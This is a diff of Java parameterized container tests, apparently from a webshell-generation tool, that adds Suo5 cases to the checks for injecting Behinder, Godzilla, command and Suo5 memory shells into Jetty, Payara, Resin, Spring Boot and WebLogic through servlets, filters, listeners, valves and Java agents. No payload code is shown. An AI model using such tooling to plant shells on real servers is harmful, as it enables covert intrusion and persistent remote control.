arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
@@ -48,18 +48,24 @@ public class Jetty93ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
@@ -48,18 +48,24 @@ public class Jetty94ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
@@ -50,6 +50,9 @@ public class Payara5201ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
@@ -59,6 +62,9 @@ public class Payara5201ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine),
@@ -67,7 +73,10 @@ public class Payara5201ContainerTest {
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine)
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine)
);
}
@@ -47,18 +47,24 @@ public class Payara520225ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize)
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize)
);
}
@@ -47,18 +47,24 @@ public class Payara620222ContainerTest {
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize)
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.Deserialize)
);
}
@@ -49,18 +49,24 @@ public class Resin3116ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
@@ -49,18 +49,24 @@ public class Resin318ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
@@ -48,18 +48,24 @@ public class Resin4058ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
@@ -48,18 +48,24 @@ public class Resin4067ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
@@ -52,6 +52,9 @@ public class SpringBoot2ContainerTest {
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.SpEL),
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.Base64),
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.SpEL),
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.Base64),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.SpEL),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.Base64),
@@ -61,6 +64,9 @@ public class SpringBoot2ContainerTest {
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.SpEL),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.Base64),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.SpEL),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.Base64),
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packers.AgentJar),
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packers.AgentJar)
@@ -76,7 +82,7 @@ public class SpringBoot2ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_6, packer, container);
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer, container);
}
public static String getUrl(GenericContainer<?> container) {
@@ -50,6 +50,9 @@ public class SpringBoot2WarContainerTest {
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.SpEL),
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.Base64),
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.SpEL),
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.Base64),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.SpEL),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.Base64),
@@ -58,7 +61,10 @@ public class SpringBoot2WarContainerTest {
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.SpEL),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.Base64)
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.Base64),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.SpEL),
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.Base64)
);
}
@@ -71,6 +77,6 @@ public class SpringBoot2WarContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_6, packer);
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_8, packer);
}
}
@@ -46,13 +46,15 @@ public class SpringBoot3ContainerTest {
arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Behinder, Packers.Base64),
arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Command, Packers.Base64),
arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Suo5, Packers.Base64),
arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Behinder, Packers.Base64),
arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Command, Packers.Base64),
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packers.AgentJar),
arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Suo5, Packers.Base64),
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packers.AgentJar)
);
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packers.AgentJar)
);
}
@AfterAll
@@ -42,12 +42,13 @@ public class SpringBoot2WebFluxContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Command, Packers.Base64),
arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Suo5, Packers.Base64),
arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Command, Packers.Base64),
arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Command, Packers.Base64),
arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Command, Packers.Base64)
);
}
@@ -42,12 +42,13 @@ public class SpringBoot3WebFluxContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Command, Packers.Base64),
arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Suo5, Packers.Base64),
arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Command, Packers.Base64),
arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Command, Packers.Base64),
arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Command, Packers.Base64)
);
}
@@ -43,12 +43,15 @@ public class WebLogic1036ContainerTest {
// arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64),
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar)
@@ -45,12 +45,15 @@ public class WebLogic12214ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar)
@@ -45,12 +45,15 @@ public class WebLogic14110ContainerTest {
